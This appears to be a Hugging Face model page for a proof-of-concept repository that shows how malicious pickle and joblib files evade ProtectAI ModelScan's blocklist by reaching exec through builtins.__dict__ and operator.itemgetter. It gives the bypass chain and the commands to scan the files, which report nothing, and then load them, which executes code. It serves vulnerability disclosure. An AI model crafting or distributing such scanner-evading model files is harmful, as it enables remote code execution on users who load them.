Downloads · 30 days
0
xiaoyaoes/modelscan-builtins-dict-bypass-poc
modelscan-builtins-dict-bypass-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for generic.
A systemic bypass of ProtectAI ModelScan's pickle blocklist. This reveals a fundamental architectural weakness: builtins.dict is not in the blocklist, allowing retrieval of any built-in function including exec, eval,…
Downloads · 30 days
0
Access
Public
Updated Jun 18, 2026
Repo size
233 B
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 52%
From the Hugging Face model README
builtins.__dict__ + operator.itemgetter()A systemic bypass of ProtectAI ModelScan's pickle blocklist.
This reveals a fundamental architectural weakness: builtins.__dict__ is not in the blocklist,
allowing retrieval of any built-in function including exec, eval, open, etc.
operator.itemgetter("exec")(builtins.__dict__)
-> builtins.__dict__["exec"]
-> <built-in function exec>
-> exec(arbitrary_code)
-> REMOTE CODE EXECUTION
| File | Size | Description |
|---|---|---|
code_bypass.pkl | 144 B | Raw pickle (v5), 144 bytes |
code_bypass.joblib | 89 B | joblib format, 89 bytes |
# Install modelscan
pip install modelscan
# Scan - will report "No issues found"
modelscan --path code_bypass.pkl
# Execute - RCE
python -c "import pickle; pickle.load(open('code_bypass.pkl','rb'))"